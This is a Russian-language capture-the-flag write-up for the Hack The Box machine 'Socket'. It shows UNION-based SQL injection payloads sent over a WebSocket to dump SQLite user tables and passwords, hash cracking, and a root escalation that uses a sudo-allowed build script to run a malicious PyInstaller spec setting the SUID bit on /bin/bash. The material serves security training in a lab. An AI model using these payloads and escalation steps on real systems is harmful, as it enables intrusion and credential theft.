Хакер - HTB Socket. Эксплуатируем SQL-инъекцию для атаки на SQLite через WebSocket

Хакер - HTB Socket. Эксплуатируем SQL-инъекцию для атаки на SQLite через WebSocket

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать SQL-инъ­екцию в SQLite, обра­щаясь к базе через веб‑сокет. Так­же поревер­сим при­ложе­ние на Python 3, ском­пилиро­ван­ное для Linux, и повысим при­виле­гии на целевой машине, про­экс­плу­ати­ровав уяз­вимость в бил­дере Python.

На­ша цель — зах­ват тре­ниро­воч­ной машины Socket с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.206 socket.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.9p1;
  • 80 — веб‑сер­вер Apache 2.4.52;
  • 5789 — сер­вер Python 3, отве­чающий по WebSockets.

SSH ничего не даст, с веб‑сокета­ми тоже пока что ничего не ясно, поэто­му про­ходим на основной сайт. Как вид­но из http-title, выпол­няет­ся редирект на адрес http://qreader.htb. Добавим этот домен в файл /etc/hosts и откро­ем в бра­узе­ре.

10.10.11.206 socket.htb qreader.htb

Глав­ная стра­ница сай­та qreader.htb

ТОЧКА ВХОДА

На стра­нице видим ссыл­ки для ска­чива­ния исполня­емых фай­лов для Windows и Linux.

Раз­дел заг­рузки при­ложе­ния

Ска­чав файл, закиды­ваем его в любой удоб­ный деком­пилятор (я исполь­зую IDA Pro). Сра­зу мож­но обра­тить вни­мание на исполь­зование кон­стант язы­ка Python.

Де­ком­пилиро­ван­ный код стар­товой фун­кции

Эти кон­стан­ты озна­чают, что скрип­ты на Python были ском­пилиро­ваны в исполня­емый файл. Но в этом слу­чае мы можем обратно рас­паковать из ELF объ­ектные фай­лы Python. Для это­го исполь­зуем pyinstxtractor.

python3 pyinstxtractor.py ../qreader

Рас­паков­ка исполня­емо­го фай­ла

Мы получа­ем целый каталог объ­ектных фай­лов Python, которые теперь нуж­но пре­обра­зовать в чита­емые скрип­ты. Для пре­обра­зова­ния будем исполь­зовать инс­тру­мент unpyc37.

python3.10 unpyc37-3.10/src/unpyc3.py pyinstxtractor/qreader_extracted/qreader.pyc > qreader.py

Со­дер­жимое фай­ла qreader.py

В стро­ке 13 сра­зу опре­деля­ем адрес сер­виса, с которым нуж­но работать через веб‑сокеты. Так как это новый домен, обновля­ем запись в фай­ле /etc/hosts.

10.10.11.206 socket.htb qreader.htb ws.qreader.htb

Ана­лизи­руя код, даль­ше находим две фун­кции, через которые и про­исхо­дит вза­имо­дей­ствие с сер­вером с помощью ws_connect. Пер­вая фун­кция нуж­на для получе­ния вер­сии при­ложе­ния, а вто­рая — для про­вер­ки обновле­ний.

Со­дер­жимое фай­ла qreader.py (про­дол­жение)

За­пус­каем при­ложе­ние и про­веря­ем эти фун­кции.

При­ложе­ние QR Code Reader

Поп­робу­ем перех­ватить тра­фик при­ложе­ния, для чего запус­тим Burp Pro, а так­же переза­пус­тим при­ложе­ние, но теперь через тун­нелятор ProxyChains. Пред­варитель­но в фай­ле кон­фигура­ций /etc/proxychains.conf сде­лаем запись для HTTP-прок­си.

http 127.0.0.1 1080

proxychains -q ./qreader

Сно­ва зап­рашива­ем вер­сию прог­раммы и прос­матри­ваем исто­рию зап­росов в Burp History.

Зап­рос в Burp History

Так как соеди­нение с сер­вером было уста­нов­лено, мож­но перей­ти к исто­рии зап­росов по WebSockets.

Зап­росы в WebSockets history

Ком­бинаци­ей кла­виш Ctrl-R перено­сим зап­рос в Burp Repeater и про­буем отпра­вить нес­коль­ко базовых наг­рузок, что­бы про­верить, нет ли здесь воз­можнос­ти для SQL-инъ­екции. И очень быс­тро находим уяз­вимость внед­рения кода SQL с такой наг­рузкой:

{

"version": "0.0.2" -- -"

}

Ре­зуль­тат выпол­нения зап­роса

 ТОЧКА ОПОРЫ

Пер­вым делом поп­робу­ем опре­делить количес­тво стол­бцов в текущей таб­лице. Для это­го будем исполь­зовать UNION-зап­рос с перемен­ным количес­твом стол­бцов.

{"version": "0.0.2" union select 1 -- -"}

{"version": "0.0.2" union select 1,2 -- -"}

{"version": "0.0.2" union select 1,2,3 -- -"}

{"version": "0.0.2" union select 1,2,3,4 -- -"}

Оп­ределе­ние количес­тва стол­бцов в таб­лице

Ва­риант с четырь­мя стол­бца­ми воз­вра­щает при­выч­ный нам ответ, а не ошиб­ку, поэто­му дела­ем вывод, что это под­ходящее количес­тво. Так­же сто­ит отме­тить, что в ответ попада­ет одна запись, которая содер­жится в пер­вой таб­лице, и не попада­ет запись из нашей вто­рой «UNION-таб­лицы». Что­бы попада­ла запись из вто­рой таб­лицы, нам нуж­но подать невер­ные дан­ные в пер­вую. К при­меру, вмес­то зна­чения вер­сии 0.0.2 отпра­вить стро­ку qwe0.0.2.

Те­перь нам нуж­но узнать, какая база дан­ных исполь­зует­ся. Это будет важ­но при сос­тавле­нии зап­роса. Уда­лось уста­новить, что это не MySQL и не PostgreSQL, а вот вари­ант для SQLite отоб­разил вер­сию 3.37.2.

{

"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"

}

{

"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"

}

{

"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"

}

Оп­ределе­ние вер­сии СУБД

Те­перь нуж­но получить таб­лицы из базы.

{

"version": "qwe0.0.2" union select 1,group_concat(name),3,4 from sqlite_schema -- -"

}

Су­щес­тву­ющие в базе таб­лицы

Пер­вая инте­рес­ная таб­лица — users. Что­бы получить дан­ные из нее, нуж­но знать, из каких стол­бцов их зап­рашивать. Поэто­му сле­дующим зап­росом узна­ем стол­бцы таб­лицы users.

{

"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master where type!="meta" and name="users" and sql not null -- -"

}

Стол­бцы в таб­лице users

А теперь получим логины и пароли.

{

"version": "qwe0.0.2" union select 1,group_concat(username),group_concat(password),4 from users -- -"

}

Ло­гины и пароли из базы

По­лучи­ли один хеш, по виду это MD5. Отправ­ляем его на перебор по онлай­новым базам и получа­ем пароль.

Ре­зуль­тат взло­ма хеша

У нас есть пароль, но нет име­ни поль­зовате­ля, поэто­му прой­дем­ся по дру­гим таб­лицам. Тем же методом получа­ем стол­бцы из таб­лицы answers.

{

"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master where type!="meta" and name="answers" and sql not null -- -"

}

Стол­бцы в базе answers

Име­на поль­зовате­лей могут быть в стол­бцах answered_by и answer.

{

"version": "qwe0.0.2" union select 1,group_concat(answered_by),group_concat(answer),4 from answers -- -"

}

Дан­ные из таб­лицы answers

По­луча­ем пароли поль­зовате­лей Thomas Keller и Mike и про­буем авто­ризо­вать­ся по SSH, переби­рая раз­ные вари­анты логина. Логин tkeller подошел.

Флаг поль­зовате­ля

 ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Про­ник­нув в сис­тему, мы дол­жны соб­рать информа­цию. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

В выводе скрип­та отме­чена запись в /etc/sudoers.

Нас­трой­ки судо­ера

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Мы можем запус­тить скрипт /usr/local/sbin/build-installer.sh от име­ни поль­зовате­ля root без вво­да пароля. Раз­берем­ся, что дела­ет этот сце­нарий.

Со­дер­жимое фай­ла build-installer.sh

В коде инте­рес­ны два бло­ка, которые будут выпол­нять­ся, если ука­заны парамет­ры build или make. В обо­их бло­ках ука­зан­ный в парамет­ре файл будет передан прог­рамме pyinstaller. Таким обра­зом мож­но выпол­нить про­изволь­ный код на Python. Соз­дадим файл privesc.spec, который будет наз­начать S-бит коман­дной обо­лоч­ке.

import os

os.system("chmod u+s /bin/bash")

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

А теперь запус­каем скрипт и переда­ем ему соз­данный файл.

sudo /usr/local/sbin/build-installer.sh build privesc.spec

Ре­зуль­тат выпол­нения скрип­та

Как видишь, теперь у фай­ла /bin/bash уста­нов­лен S-бит, и, запус­тив его, мы можем получить новую при­виле­гиро­ван­ную сес­сию.

/bin/bash -p

Флаг рута

Флаг рута у нас, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page